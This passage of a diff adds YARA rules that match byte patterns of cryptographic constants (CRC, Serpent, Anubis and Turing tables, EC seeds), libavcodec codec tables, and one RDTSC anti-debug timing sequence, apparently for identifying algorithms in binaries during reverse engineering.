+	$a0 = { 3362386464383939356637633430613961356335623764643562343831333431 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_PRIME_239V2_SEED__8_byt_20_
+{
+strings:
+	$a0 = { e8b4011604095303ca3b8099982be09fcb9ae616 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_exp_tab__flt32___32_lil_128_
+{
+strings:
+	$a0 = { 57773a3960cba539166a133a6f12833a2d15e93a393e4f3b9b44b83b0ad7233c3cad913ce386013dc255663dcdcccc3d8b18363e9ce8a13e99f50f3f0000803fae9ee33fc3624a4000f3b340000020412d438e4174fbfc41c0ef60420000c842f8d33143291d9e43d8950c4400007a44f648de4473a445454ebbaf4500401c46 }
+
+condition:
+	$a0
+}
+
+	
+rule Baseking_RCD__32_big_48_
+{
+strings:
+	$a0 = { 0000008d000000ce00000067000000bb000000d5000000e200000071000000b0000000580000002c000000160000000b }
+
+condition:
+	$a0
+}
+
+	
+rule Anubis_RC__32_big_76_
+{
+strings:
+	$a0 = { a7d3e671d0ac4d793ac991fc1e4754bd8ca57afb63b8ddd4e5b3c5bea9880ca239df29da2ba8cb4c4b22aa244170a6f95ae2b0367de433ff6020088b5eab7f787c2c57d2dc6d7e0d5394c328 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ISO_poly_0x000000000000001B__64_lil_refl_True_
+{
+strings:
+	$a0 = { 0000000000000000000000000000b0010000000000006003000000000000d002000000000000c0060000000000007007000000000000a0050000000000001004000000000000800d000000000000300c000000000000e00e000000000000500f000000000000400b000000000000f00a00000000000020080000000000009009000000000000001b000000000000b01a0000000000006018000000000000d019000000000000c01d000000000000701c000000000000a01e000000000000101f00000000000080160000000000003017000000000000e01500000000000050140000000000004010000000000000f011000000000000201300000000000090120000000000000036000000000000b0370000000000006035000000000000d034000000000000c0300000000000007031000000000000a0330000000000001032000000000000803b000000000000303a000000000000e0380000000000005039000000000000403d000000000000f03c000000000000203e000000000000903f000000000000002d000000000000b02c000000000000602e000000000000d02f000000000000c02b000000000000702a000000000000a028000000000000102900000000000080200000000000003021000000000000e02300000000000050220000000000004026000000000000f02700000000000020250000000000009024000000000000006c000000000000b06d000000000000606f000000000000d06e000000000000c06a000000000000706b000000000000a069000000000000106800000000000080610000000000003060000000000000e06200000000000050630000000000004067000000000000f066000000000000206400000000000090650000000000000077000000000000b0760000000000006074000000000000d075000000000000c0710000000000007070000000000000a0720000000000001073000000000000807a000000000000307b000000000000e0790000000000005078000000000000407c000000000000f07d000000000000207f000000000000907e000000000000005a000000000000b05b0000000000006059000000000000d058000000000000c05c000000000000705d000000000000a05f000000000000105e00000000000080570000000000003056000000000000e05400000000000050550000000000004051000000000000f050000000000000205200000000000090530000000000000041000000000000b0400000000000006042000000000000d043000000000000c0470000000000007046000000000000a0440000000000001045000000000000804c000000000000304d000000000000e04f000000000000504e000000000000404a000000000000f04b0000000000002049000000000000904800000000000000d8000000000000b0d900000000000060db000000000000d0da000000000000c0de00000000000070df000000000000a0dd00000000000010dc00000000000080d500000000000030d4000000000000e0d600000000000050d700000000000040d3000000000000f0d200000000000020d000000000000090d100000000000000c3000000000000b0c200000000000060c0000000000000d0c1000000000000c0c500000000000070c4000000000000a0c600000000000010c700000000000080ce00000000000030cf000000000000e0cd00000000000050cc00000000000040c8000000000000f0c900000000000020cb00000000000090ca00000000000000ee000000000000b0ef00000000000060ed000000000000d0ec000000000000c0e800000000000070e9000000000000a0eb00000000000010ea00000000000080e300000000000030e2000000000000e0e000000000000050e100000000000040e5000000000000f0e400000000000020e600000000000090e700000000000000f5000000000000b0f400000000000060f6000000000000d0f7000000000000c0f300000000000070f2000000000000a0f000000000000010f100000000000080f800000000000030f9000000000000e0fb00000000000050fa00000000000040fe000000000000f0ff00000000000020fd00000000000090fc00000000000000b4000000000000b0b500000000000060b7000000000000d0b6000000000000c0b200000000000070b3000000000000a0b100000000000010b000000000000080b900000000000030b8000000000000e0ba00000000000050bb00000000000040bf000000000000f0be00000000000020bc00000000000090bd00000000000000af000000000000b0ae00000000000060ac000000000000d0ad000000000000c0a900000000000070a8000000000000a0aa00000000000010ab00000000000080a200000000000030a3000000000000e0a100000000000050a000000000000040a4000000000000f0a500000000000020a700000000000090a60000000000000082000000000000b0830000000000006081000000000000d080000000000000c0840000000000007085000000000000a0870000000000001086000000000000808f000000000000308e000000000000e08c000000000000508d0000000000004089000000000000f088000000000000208a000000000000908b0000000000000099000000000000b098000000000000609a000000000000d09b000000000000c09f000000000000709e000000000000a09c000000000000109d00000000000080940000000000003095000000000000e09700000000000050960000000000004092000000000000f09300000000000020910000000000009090 }
+
+condition:
+	$a0
+}
+
+	
+rule Generic_bitmask_table__32_lil_128_
+{
+strings:
+	$a0 = { 000000000100000003000000070000000f0000001f0000003f0000007f000000ff000000ff010000ff030000ff070000ff0f0000ff1f0000ff3f0000ff7f0000ffff0000ffff0100ffff0300ffff0700ffff0f00ffff1f00ffff3f00ffff7f00ffffff00ffffff01ffffff03ffffff07ffffff0fffffff1fffffff3fffffff7f }
+
+condition:
+	$a0
+}
+
+	
+rule Serpent_crypto_IPTable__8_byt_128_
+{
+strings:
+	$a0 = { 002040600121416102224262032343630424446405254565062646660727476708284868092949690a2a4a6a0b2b4b6b0c2c4c6c0d2d4d6d0e2e4e6e0f2f4f6f103050701131517112325272133353731434547415355575163656761737577718385878193959791a3a5a7a1b3b5b7b1c3c5c7c1d3d5d7d1e3e5e7e1f3f5f7f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_aac_codebook_vector10__flt64___64_lil_4624_
+{
+strings:
+	$a0 = { 000000000000000000000000000000000000000000000000000000000000f03f0000000000000000f4ab94f9a22804400000000000000000c40a1236974e114000000000000000004e2db6a4fe6519400000000000000000f57700d58919214000000000000000009fa7a6c931ce25400000000000000000a2fabd03f2c72a40000000000000000000000000000030400000000000000000b772405c83b832400000000000000000d22d85515a8b354000000000000000009581035aba7638400000000000000000de5e2dd21f793b4000000000000000002edb98e83d913e400000000000000000a4b38295f9de40400000000000000000aec0eb8e207f424000000000000000000000000000005040000000000000f03f0000000000000000000000000000f03f000000000000f03f000000000000f03ff4ab94f9a2280440000000000000f03fc40a1236974e1140000000000000f03f4e2db6a4fe651940000000000000f03ff57700d589192140000000000000f03f9fa7a6c931ce2540000000000000f03fa2fabd03f2c72a40000000000000f03f0000000000003040000000000000f03fb772405c83b83240000000000000f03fd22d85515a8b3540000000000000f03f9581035aba763840000000000000f03fde5e2dd21f793b40000000000000f03f2edb98e83d913e40000000000000f03fa4b38295f9de4040000000000000f03faec0eb8e207f4240000000000000f03f0000000000005040f4ab94f9a22804400000000000000000f4ab94f9a2280440000000000000f03ff4ab94f9a2280440f4ab94f9a2280440f4ab94f9a2280440c40a1236974e1140f4ab94f9a22804404e2db6a4fe651940f4ab94f9a2280440f57700d589192140f4ab94f9a22804409fa7a6c931ce2540f4ab94f9a2280440a2fabd03f2c72a40f4ab94f9a22804400000000000003040f4ab94f9a2280440b772405c83b83240f4ab94f9a2280440d22d85515a8b3540f4ab94f9a22804409581035aba763840f4ab94f9a2280440de5e2dd21f793b40f4ab94f9a22804402edb98e83d913e40f4ab94f9a2280440a4b38295f9de4040f4ab94f9a2280440aec0eb8e207f4240f4ab94f9a22804400000000000005040c40a1236974e11400000000000000000c40a1236974e1140000000000000f03fc40a1236974e1140f4ab94f9a2280440c40a1236974e1140c40a1236974e1140c40a1236974e11404e2db6a4fe651940c40a1236974e1140f57700d589192140c40a1236974e11409fa7a6c931ce2540c40a1236974e1140a2fabd03f2c72a40c40a1236974e11400000000000003040c40a1236974e1140b772405c83b83240c40a1236974e1140d22d85515a8b3540c40a1236974e11409581035aba763840c40a1236974e1140de5e2dd21f793b40c40a1236974e11402edb98e83d913e40c40a1236974e1140a4b38295f9de4040c40a1236974e1140aec0eb8e207f4240c40a1236974e114000000000000050404e2db6a4fe65194000000000000000004e2db6a4fe651940000000000000f03f4e2db6a4fe651940f4ab94f9a22804404e2db6a4fe651940c40a1236974e11404e2db6a4fe6519404e2db6a4fe6519404e2db6a4fe651940f57700d5891921404e2db6a4fe6519409fa7a6c931ce25404e2db6a4fe651940a2fabd03f2c72a404e2db6a4fe65194000000000000030404e2db6a4fe651940b772405c83b832404e2db6a4fe651940d22d85515a8b35404e2db6a4fe6519409581035aba7638404e2db6a4fe651940de5e2dd21f793b404e2db6a4fe6519402edb98e83d913e404e2db6a4fe651940a4b38295f9de40404e2db6a4fe651940aec0eb8e207f42404e2db6a4fe6519400000000000005040f57700d5891921400000000000000000f57700d589192140000000000000f03ff57700d589192140f4ab94f9a2280440f57700d589192140c40a1236974e1140f57700d5891921404e2db6a4fe651940f57700d589192140f57700d589192140f57700d5891921409fa7a6c931ce2540f57700d589192140a2fabd03f2c72a40f57700d5891921400000000000003040f57700d589192140b772405c83b83240f57700d589192140d22d85515a8b3540f57700d5891921409581035aba763840f57700d589192140de5e2dd21f793b40f57700d5891921402edb98e83d913e40f57700d589192140a4b38295f9de4040f57700d589192140aec0eb8e207f4240f57700d58919214000000000000050409fa7a6c931ce254000000000000000009fa7a6c931ce2540000000000000f03f9fa7a6c931ce2540f4ab94f9a22804409fa7a6c931ce2540c40a1236974e11409fa7a6c931ce25404e2db6a4fe6519409fa7a6c931ce2540f57700d5891921409fa7a6c931ce25409fa7a6c931ce25409fa7a6c931ce2540a2fabd03f2c72a409fa7a6c931ce254000000000000030409fa7a6c931ce2540b772405c83b832409fa7a6c931ce2540d22d85515a8b35409fa7a6c931ce25409581035aba7638409fa7a6c931ce2540de5e2dd21f793b409fa7a6c931ce25402edb98e83d913e409fa7a6c931ce2540a4b38295f9de40409fa7a6c931ce2540aec0eb8e207f42409fa7a6c931ce25400000000000005040a2fabd03f2c72a400000000000000000a2fabd03f2c72a40000000000000f03fa2fabd03f2c72a40f4ab94f9a2280440a2fabd03f2c72a40c40a1236974e1140a2fabd03f2c72a404e2db6a4fe651940a2fabd03f2c72a40f57700d589192140a2fabd03f2c72a409fa7a6c931ce2540a2fabd03f2c72a40a2fabd03f2c72a40a2fabd03f2c72a400000000000003040a2fabd03f2c72a40b772405c83b83240a2fabd03f2c72a40d22d85515a8b3540a2fabd03f2c72a409581035aba763840a2fabd03f2c72a40de5e2dd21f793b40a2fabd03f2c72a402edb98e83d913e40a2fabd03f2c72a40a4b38295f9de4040a2fabd03f2c72a40aec0eb8e207f4240a2fabd03f2c72a400000000000005040000000000000304000000000000000000000000000003040000000000000f03f0000000000003040f4ab94f9a22804400000000000003040c40a1236974e114000000000000030404e2db6a4fe6519400000000000003040f57700d58919214000000000000030409fa7a6c931ce25400000000000003040a2fabd03f2c72a40000000000000304000000000000030400000000000003040b772405c83b832400000000000003040d22d85515a8b354000000000000030409581035aba7638400000000000003040de5e2dd21f793b4000000000000030402edb98e83d913e400000000000003040a4b38295f9de40400000000000003040aec0eb8e207f424000000000000030400000000000005040b772405c83b832400000000000000000b772405c83b83240000000000000f03fb772405c83b83240f4ab94f9a2280440b772405c83b83240c40a1236974e1140b772405c83b832404e2db6a4fe651940b772405c83b83240f57700d589192140b772405c83b832409fa7a6c931ce2540b772405c83b83240a2fabd03f2c72a40b772405c83b832400000000000003040b772405c83b83240b772405c83b83240b772405c83b83240d22d85515a8b3540b772405c83b832409581035aba763840b772405c83b83240de5e2dd21f793b40b772405c83b832402edb98e83d913e40b772405c83b83240a4b38295f9de4040b772405c83b83240aec0eb8e207f4240b772405c83b832400000000000005040d22d85515a8b35400000000000000000d22d85515a8b3540000000000000f03fd22d85515a8b3540f4ab94f9a2280440d22d85515a8b3540c40a1236974e1140d22d85515a8b35404e2db6a4fe651940d22d85515a8b3540f57700d589192140d22d85515a8b35409fa7a6c931ce2540d22d85515a8b3540a2fabd03f2c72a40d22d85515a8b35400000000000003040d22d85515a8b3540b772405c83b83240d22d85515a8b3540d22d85515a8b3540d22d85515a8b35409581035aba763840d22d85515a8b3540de5e2dd21f793b40d22d85515a8b35402edb98e83d913e40d22d85515a8b3540a4b38295f9de4040d22d85515a8b3540aec0eb8e207f4240d22d85515a8b354000000000000050409581035aba76384000000000000000009581035aba763840000000000000f03f9581035aba763840f4ab94f9a22804409581035aba763840c40a1236974e11409581035aba7638404e2db6a4fe6519409581035aba763840f57700d5891921409581035aba7638409fa7a6c931ce25409581035aba763840a2fabd03f2c72a409581035aba76384000000000000030409581035aba763840b772405c83b832409581035aba763840d22d85515a8b35409581035aba7638409581035aba7638409581035aba763840de5e2dd21f793b409581035aba7638402edb98e83d913e409581035aba763840a4b38295f9de40409581035aba763840aec0eb8e207f42409581035aba7638400000000000005040de5e2dd21f793b400000000000000000de5e2dd21f793b40000000000000f03fde5e2dd21f793b40f4ab94f9a2280440de5e2dd21f793b40c40a1236974e1140de5e2dd21f793b404e2db6a4fe651940de5e2dd21f793b40f57700d589192140de5e2dd21f793b409fa7a6c931ce2540de5e2dd21f793b40a2fabd03f2c72a40de5e2dd21f793b400000000000003040de5e2dd21f793b40b772405c83b83240de5e2dd21f793b40d22d85515a8b3540de5e2dd21f793b409581035aba763840de5e2dd21f793b40de5e2dd21f793b40de5e2dd21f793b402edb98e83d913e40de5e2dd21f793b40a4b38295f9de4040de5e2dd21f793b40aec0eb8e207f4240de5e2dd21f793b4000000000000050402edb98e83d913e4000000000000000002edb98e83d913e40000000000000f03f2edb98e83d913e40f4ab94f9a22804402edb98e83d913e40c40a1236974e11402edb98e83d913e404e2db6a4fe6519402edb98e83d913e40f57700d5891921402edb98e83d913e409fa7a6c931ce25402edb98e83d913e40a2fabd03f2c72a402edb98e83d913e4000000000000030402edb98e83d913e40b772405c83b832402edb98e83d913e40d22d85515a8b35402edb98e83d913e409581035aba7638402edb98e83d913e40de5e2dd21f793b402edb98e83d913e402edb98e83d913e402edb98e83d913e40a4b38295f9de40402edb98e83d913e40aec0eb8e207f42402edb98e83d913e400000000000005040a4b38295f9de40400000000000000000a4b38295f9de4040000000000000f03fa4b38295f9de4040f4ab94f9a2280440a4b38295f9de4040c40a1236974e1140a4b38295f9de40404e2db6a4fe651940a4b38295f9de4040f57700d589192140a4b38295f9de40409fa7a6c931ce2540a4b38295f9de4040a2fabd03f2c72a40a4b38295f9de40400000000000003040a4b38295f9de4040b772405c83b83240a4b38295f9de4040d22d85515a8b3540a4b38295f9de40409581035aba763840a4b38295f9de4040de5e2dd21f793b40a4b38295f9de40402edb98e83d913e40a4b38295f9de4040a4b38295f9de4040a4b38295f9de4040aec0eb8e207f4240a4b38295f9de40400000000000005040aec0eb8e207f42400000000000000000aec0eb8e207f4240000000000000f03faec0eb8e207f4240f4ab94f9a2280440aec0eb8e207f4240c40a1236974e1140aec0eb8e207f42404e2db6a4fe651940aec0eb8e207f4240f57700d589192140aec0eb8e207f42409fa7a6c931ce2540aec0eb8e207f4240a2fabd03f2c72a40aec0eb8e207f42400000000000003040aec0eb8e207f4240b772405c83b83240aec0eb8e207f4240d22d85515a8b3540aec0eb8e207f42409581035aba763840aec0eb8e207f4240de5e2dd21f793b40aec0eb8e207f42402edb98e83d913e40aec0eb8e207f4240a4b38295f9de4040aec0eb8e207f4240aec0eb8e207f4240aec0eb8e207f42400000000000005040000000000000504000000000000000000000000000005040000000000000f03f0000000000005040f4ab94f9a22804400000000000005040c40a1236974e114000000000000050404e2db6a4fe6519400000000000005040f57700d58919214000000000000050409fa7a6c931ce25400000000000005040a2fabd03f2c72a40000000000000504000000000000030400000000000005040b772405c83b832400000000000005040d22d85515a8b354000000000000050409581035aba7638400000000000005040de5e2dd21f793b4000000000000050402edb98e83d913e400000000000005040a4b38295f9de40400000000000005040aec0eb8e207f424000000000000050400000000000005040 }
+
+condition:
+	$a0
+}
+
+	
+rule Anubis_T1__32_lil_1024_
+{
+strings:
+	$a0 = { a6f5a7536bd0d3bbbf6ee6d1d93b71e267dad0bd8acfac4529b34d9af90b79f2e89c3a74038cc98f7e41913fd732fce578441e3c018f478e4de554a8cea9bd670a0f8c05aef9a557f5017af4cb20fbeb915763c6dab7b86d53f4dda777c2d4b5b364e5d7f68db37b33a4c597c2a3be619ed1a94f1a17880d30280c18b2eba259e49639725bf8dfa3a4f629524fe6daa9acfa2b569ad7a84d0b80cb8b2db54c9831a74b9688cc224492dbaa4990d82448199b4182dd3d70e0a2f3a651c32cf9ef75c15ab4af76e2d9fa87b07dd8b4366ce9137dfab762e4d5ccaa3366db38ffe39d5d60c080c0204020300810161d8b0b65d95ebc96ddab4be11f7ffefd0d78f0ed157cf8b0e82c5841ef57ae6fd6d2b957f2dca5a9736ddae5197efc342e0d1a51f753a66a5f94352bb0c39ba0f028509cd2274e1814060c61df5fbe8ec9ad47814f67ce6dd55cb849e355aa3dad489038240e1c55f152a48f46eac91591428471c75bb669d35dbac0a030607dcd58b059fb51a279cb59b2f0883c7825b94e9ce0903870121b8a09d53172e450781428bb68e7d33faec6915ffedea15dfd50a002038e01724b923963dcd1bfc12f77ee764d933b0983458a527b9a291f9ece81b4ee2d5a0c0a0306955162c4e293b671deb1b96fc6a5bf6362539631b1676bd6fc823f7e1c12070e486c122482c3ae411d9d4080d0b834680589468cf8843e7c4be0dbab1b98cf839752ecc51792cc8523bcc19fbee1a15f27bac09d7fced6b1744e1d3af702f4f5995b61c2ec9a3b764060102047ead8adbd6d68d0bae7a05dfe81b17f283c0a14b96b69d2ad756cd839ab4992cf26fae9c52976ec37a2c49542639e21567d9b2ba5796edc5e71992f2fb6c299e695b7735a77982dcaafbc6506058f032e3985177c421f3eea9fb475c72af8ed44661122b8e42e5c0000000094de254a70481c38a8fc2a54f48e3d7a141e050a21bf4f9ef1077bf6f28bb279c8ac32647a47903d86c5af4364561932b6eda35bfb08f7f3d13773e64e699d27547e152acd2574e89f5eeec10f86ca8946659f233c220f1e6c5a1b36c92375ea223386112a3f84154a6f9c2535a14a9466559733685c1a34894365caff0ef6f19354edc724360912d6bdbb6b98d4264c362d831b8b40ebcba17f6fde3e21811f10180408b5616ad411974386040601025c72172ea37ce1df26358713f304f5f70e098d07ab70e3db8cca23463a27801d0d8544885874162c854966cc84c62142df3efee173c4d5b7c4a6316243ecd9afd4be356a60501830080c02048d4564c8ef16f2f9e31cf1ff45e956ac1394cd87322b8219078ac88dd2bbba69e71af0fd9b58efc3834ce9cf874ae8cdd334fde71e11890f7bc8d7b33ba8c793ee99b577aaffa455bce22f5e6e5995374c6a13262c3a0b16eb10f3fba77ae0dddcb2376e }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_muxer_demuxer_dv_aaux_packs_dist__32_lil_432_
+{
+strings:
+	$a0 = { ff000000ff000000ff00000050000000510000005200000053000000ff000000ff00000050000000510000005200000053000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000050000000510000005200000053000000ff000000ff00000050000000510000005200000053000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000050000000510000005200000053000000ff000000ff00000050000000510000005200000053000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000050000000510000005200000053000000ff000000ff00000050000000510000005200000053000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000050000000510000005200000053000000ff000000ff00000050000000510000005200000053000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000050000000510000005200000053000000ff000000ff00000050000000510000005200000053000000ff000000ff000000ff000000ff000000ff000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AAN_ff_inv_aanscales__16_lil_128_
+{
+strings:
+	$a0 = { 0010890b3f0c9b0d00105d14901dfe39890b5108d408cf09890baf0e5115cf293f0cd4085f096a0a3f0c960fa116632c9b0dcf096a0a920b9b0d5111241951310010890b3f0c9b0d00105d14901dfe395d14af0e960f51115d14eb19a125cf49901d5115a1162419901da125a136286bfe39cf29632c5131fe39cf49286b31d2 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_1__16_big_64_
+{
+strings:
+	$a0 = { 9f65b56bc583d371e018ebb4f61cff59085b11061952214a28c92ff836e63d9243df49bb4f46546759305da361ec65f969d46d5a709e73ad766b78f07b5a7da5 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qcelp_lspvq3__16_lil_512_
+{
+strings:
+	$a0 = { e1001b01100563011f02570119081201cc004b041a060b026c05a100e00a1201700051034e07af00a504a000d2054004c9035b049302fa0c860431046f0c53050502df00cc06df00c00283014d0aea00b402ed0307054a06b803140259098602ea012802530691024d039e02f806e808bf00ef061001340bae03b803440ac705160143021d06da002e03b4004b09bb001401a405af04c704b0045d01c10b330138014c036a0732015f03d6019506d9040102bf06c702b9083d046003460d0f029e01b8014c056402c40393007d08e202d1010c056d03d5065004b10239081f05440260036707f0028c026102cd05a3060202780582015308a5031e03a909da034e0168015f058e016d0214018708180137015a04660527030405af002d0a7c02e6003003cb0698013204b0005306600410035b05c001ea0ba5047003df0b8d04a801f1008806ba002f034d01800944014802050471040a06f70349029608e3033e024502d2068702dd02e4029207c9065b01ae0675017d091303250487099e05b9001802d105b200bf02d8008208e7019a008d058605e2034f046001000cd901980133030708a800e60362017d07740499020707e103a508d2047702bb0bfa0275016c02ee05a90191032c01ae0744039201a104b403690561042b020a07e505da01760360076202e3024902cf044b0995023705cd00a30837033603b0099b04 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffbits5__8_byt_230_
+{
+strings:
+	$a0 = { 020408040509090a0e04060b05060c0a0b0f090b0f0a0d0f0e0f0004060c06070c0c0c0f05070d06070d0c0d0f0a0c0f0b0d0f0f0f00080d0f0b0c0f0f0f000a0d0f0c0f0f0f0f000f0f000f0f0000000004050b05070c0b0c0f06070d07080e0c0e0f0b0d0f0c0d0f0f0f0005060d07080f0c0e0f06080e07080f0e0f0f0c0c0f0c0d0f0f0f00090d0f0c0d0f0f0f000b0d0f0d0d0f0f0f000e0f000f0f00000000080a0f0b0c0f0f0f000a0c0f0c0d0f0f0f000e0f000f0f00000000080c0f0c0d0f0f0f000b0d0f0d0f0f0f0f000f0f000f0f000000000e0f000f0f000000000f0f000f0f }
+
+condition:
+	$a0
+}
+
+	
+rule psymodel_table1__flt32___32_big_100_
+{
+strings:
+	$a0 = { 4130d8f24127caeb411f3368411065534102f7c740e1692a40c1fafb40a6eed9408fa81c40773fcc4054c65540371b3b401d93264009a7a43ff080b83fdbc8133fc8d87f3fba50e73facd7143fa2c39c3f9946003f916d213f89fb603f84e5ad3f800000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_ac3_hearing_threshold_tab__16_big_300_
+{
+strings:
+	$a0 = { 04d004f0058004d004f005800440046004b004000410045003e003e0042003c003d003f003b003c003e003b003b003d003a003b003c003a003a003b003a003a003b003a003a003b003a003a003a0039003a003a00390039003a00390039003a00380039003a00380038003a00370038003a00370038003a003600370039003600370039003500360039003500360039003400350038003400350038003300340038003200340037003100320036003000310035002f00300034002f002f0033002f002f0032002f002f00310030002f003000310030002f00340032002f00390035002f003e003900300042003e0031004600420033004900450035004a004a003c00460049004100440046004700440044004a00520048004600800063004400840084004500840084004e0 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x5005713c__32_lil_refl_True_
+{
+strings:
+	$a0 = { 000000004538da1f8a70b43fcf486e2001a175064499af198bd1c139cee91b260242eb0c477a311388325f33cd0a852c03e39e0a46db441589932a35ccabf02a0484d61941bc0c068ef46226cbccb8390525a31f401d79008f551720ca6dcd3f06c63d1543fee70a8cb6892ac98e533507674813425f920c8d17fc2cc82f26330808ad334d30772c8278190cc740c31309a9d8354c91022a83d96c0ac6e1b6150a4a463f4f729c20803af200c502281f0beb33394ed3e926819b8706c4a35d190c8c7b2a49b4a13586fccf15c3c4150a0d2d0e2c4815d433875dba13c265600c0ece90264bf64a3984be2419c186fe060f6fe5204a573f3f851f511fc0278b000550471e40689d018f20f321ca18293e04f1321841c9e8078e818627cbb95c380712ac12422a760d8d62182dc85ac23206b3d914438b030b8cc36d2bc9fbb73401d4910744ec4b188ba42538ce9cff270075e401454d3e1e8a05503ecf3d8a2103967a0b46aea01489e6ce34ccde142b02370f0d470fd5128847bb32cd7f612d0d58ea2d4860303287285e12c210840d0cf99f2b49c1453486892b14c3b1f10b0f1a01214a22db3e856ab51ec0526f010ebb74274b83ae3884cbc018c1f31a0709dc3c344ce4e62b83ac880bc6945214087d49324d45932d820dfd0dc73527120b9ed7384ea60d2781ee6307c4d6b9180a3fa23e4f077821804f1601c577cc1e0aa08e3c4f98542380d03a03c5e8e01c0b01fb3a4e39212581714f05c449951a08e265304ddabf2f8292d10fc7aa0b10094310364c7bca298333a409c60b7e160e2458254b1c823a8454ec1ac16c36050f852d234abdf73c85f5991cc0cd43030c66b329495e693686160716c32edd090dc7c62f48ff1c3087b77210c28fa80f02a8230f4790f91088d89730cde04d2f0309560946318c168979e236cc41382900eac80345d2121c8a9a7c3ccfa2a623014bbd054473671a8b3b093ace03d325062cf51643142f098c5c4129c9649b36078d801042b55a0f8dfd342fc8c5ee30046e1e1a4156c4058e1eaa25cb26703a05cf6b1c40f7b1038fbfdf23ca87053c0ff0c9224ac8133d85807d1dc0b8a7020e51bc244b69663b8421081bc119d2040db2222e488af83187c29611c2fa4c0e0c135728492b8d378663e317c35b39080b741f3b4e4cc5248104ab04c43c711b0ad56a3d4fedb02280a5de02c59d041d0936f4374c0e2e2883464008c67e9a17089781314daf5b2e82e7350ec7dfef1107f8641142c0be0e8d88d02ec8b00a31065911174361cb088c29a528c9117f3705ba8f1d408255028fca3b22caf2e13d041bfa1b412320048e6b4e24cb53943b037cb20846446817890c0637cc34dc2802ddc70e47e51d1188ad7331cd95a92e013e59044406831b8b4eed3bce763724009f2c0245a7f61d8aef983dcfd74222 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__RDTSC_Instruction_Debugger_Latency_Detection__8_byt_15_
+{
+strings:
+	$a0 = { 0f3133c903c80f312bc13dff0f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule Turing_sbox__8_byt_256_
+{
+strings:
+	$a0 = { 6151eb19b95d60387cb20612c45b163b2b1883b07f75faa0e9dd6d7a6b682d49b51c90f7ed9fe8ceae77c213fdcd3ecf376ad4db8e651f1a87cb4015880d35b3110fd03048f9a8ac85270e8ae05064a7cce4f198ffa104dad5bc1bbbd1fe31cabad92ef31d474a3d714cab7d8dc759b8c1961efc44c87bdc5c782a9da5f073228905f4072152a6289a92698fc5c3f5e1deec09f2d3af3423aadf7e8229c0241403324e396fc6b19bea727941d8266c5e2cb4a25357e29c865495b6808c3667bd08932f995af83ad75684d201f6664d558b0c0b46b73c4591a4e370d6fbe610a9c9009ee74f76253f5fa3332002ef6274ee178142580a4b63e5be6eadbf439497 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_atrac_qmf_48tap_half__flt32___32_lil_96_
+{
+strings:
+	$a0 = { 6d4475b78a0dc1b8bb8a6bb8b7e69d3900057e39c4975fba047608ba244d053bfc584d3a39218abb5c3846ba9474003c5a4880b83e3a5cbcf364213be20fb23c29a5ffbb30a20bbd5c169a3cf3845e3d1e9232bd088acbbdbe3f073e13b1ed3e }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_dca_downmix_coeffs__flt64___64_big_520_
+{
+strings:
+	$a0 = { 3ff00000000000003fefa23a197d281a3fef1793807ce68a3fee35bf27a298b53fed5a530ffd05713fec8520affa0a4f3febb5fad00ab2293feaecb5810c240c3fea292612f639b43fe96b230bcdc4303fe8b2841ed892a53fe7ff2224115d9b3fe750d70fd9c6f13fe6a77deae8ab8b3fe602f2ca7310743fe56312c88e01d03fe4c7bbfcc7c6393fe430cd74f6d4763fe39e272e3d04f43fe30faa0e3d83f13fe28537dc8413b93fe1feb33c1c381d3fe17bffa556f0513fe0fd015fbdabdd3fe0819d7c3132f03fe009b9cf3342503fdc9676c6fcaf1e3fd97a967f7524ae3fd6b54337bc3b5d3fd43d13624849103fd209a37aef44493fd0137987dd704c3fcca7d767c030d73fc98a13577c93c13fc6c310e3769f343fc44960c576b3693fc2149a5fed24ca3fc01d3f2d9684da3fbcb94298ac6d0b3fb999999999999a3fb6d0e6f32e6e7a3fb455b5a30b03523fb21f97ef20894a3fb0270ac3f8a9e23fab2e68992f797e3fa6dec56bfd58ba3fa33e2d1001a8693fa030dc4ea03a903f9b3eee5c9e8d0a3f96ecac5300269f3f9349df8175bf983f903ab3d12bc29d3f8b4f7e2b2c2a0a3f86fa9bad56be893f8355990f2061373f8044914f3c031b3f77089380241ca93f704e74cc73eea73f671693d08e67d53f60585e4c78b1903f57249ca3beebea3f50624dd2f1a9fc3f406c4363886b413f30763f01e8e8b50000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_wnv1_code_tab__16_lil_64_
+{
+strings:
+	$a0 = { fd010900fd0008007d0007003d0006001d0005000d0004000500030000000100040003000c0004001c0005003c0006007c000700fc000800fc010900ff000800 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_fft_tone_level_table__flt32___32_lil_512_
+{
+strings:
+	$a0 = { f304353e7382da3e7b821a3f7b825a3f7a829a3f0080d73f0000184000805740000098400080d7400000184100805741000098410080d7410000184200805742000098420080d7420000184300805743000098430080d7430000184400805744000098440080d7440000184500805745000098450080d7450000184600805746000098460080d7460000184700805747000098470080d7470000184800805748000098480080d7480000184900805749000098490080d7490000184a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000183f0080573f0000983f0080d73f0000184000805740000098400080d7400000184100805741000098410080d7410000184200805742000098420080d7420000184300805743000098430080d7430000184400805744000098440080d7440000184500805745000098450080d7450000184600805746000098460080d7460000184700805747000098470080d7470000184800805748000098480080d7480000184900805749000098490080d7490000184a0080574a000000000000000000000000000000000000000000000